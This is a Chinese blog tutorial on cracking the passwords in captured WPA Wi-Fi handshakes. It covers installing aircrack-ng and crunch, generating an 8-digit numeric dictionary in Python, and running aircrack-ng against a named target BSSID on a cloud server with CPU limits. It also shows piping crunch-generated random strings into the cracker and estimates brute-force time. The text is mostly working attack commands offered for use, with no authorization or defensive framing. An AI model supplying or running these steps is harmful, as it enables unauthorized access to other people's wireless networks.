基于aircrack-ng跑无线信号WIFI的握手包密码,可无需字典文件 2022-3-16

段落1、需求描述

跑包,可选密码,或者自定义密码,或者无字典文件,用随机字符串

段落2、部署安装

apt-get update
apt-get install aircrack-ng cpulimit screen crunch

段落3、生成字典

根据实际的需求,自己生成字典文件,下面是8位的数字的字典,大约860MB

#!/usr/bin/python3
# 从00000000 - 99999999的字典,一共1千万个记录,文件大小约为860MB
d = '/root/DICT_8_DIGITAL.txt'
end = 100000000
with open(d,'w') as f:
    for i in range(0,end):
        f.write("%08d\n" % i)

可以发现,其实密码字典,还是很大的,如果要全部生成,很不划算,占用磁盘空间很多

段落4、开启跑包

screen -dmS SAirCrack aircrack-ng -w ./DICT_8_DIGITAL.txt -b B8:AA:08:10:D1:AA WPA_cap-01.cap

段落5、开始CPU限制

查找进程号
ps -ef | grep aircrack-ng

发现进程号
83623

开启CPU利用限制
screen -dmS SCPULimit cpulimit --pid 83623 --limit 60 

段落6、无字典,随机字符跑包

用crunch,命令大概如下

crunch 8 15 qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890 | aircrack-ng WPA_cap-01.cap -b B8:AA:08:10:D1:AA -w-

由于自己把跑包,放在云服务器上面,性能限制,速度慢很多,还是推荐用显卡跑,或者现代一点的,根据万能钥匙匹配。

随机8位[0-9a-zA-Z]字符的总数为62的8次方个组合,共计 218340105584896

假设碰撞速度为 180000,显卡运算,最大需要38.46年,才能碰撞到密码

>>> 218340105584896 / 180000 / 3600 / 24 / 365
38.46

000088. 基于aircrack-ng跑无线信号WIFI的握手包密码,可无需字典文件 2022-4-1

本期博客地址 https://dasmz.com/?p=1749
本期视频地址 https://youtu.be/xFrSVniOJkQ

基于aircrack-ng跑无线信号WIFI的握手包密码,可无需字典文件 2022-3-16》有1个想法

  1. Pingback引用通告: 视频文件的目录索引 更新到2022-04-01 | Dasmz

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注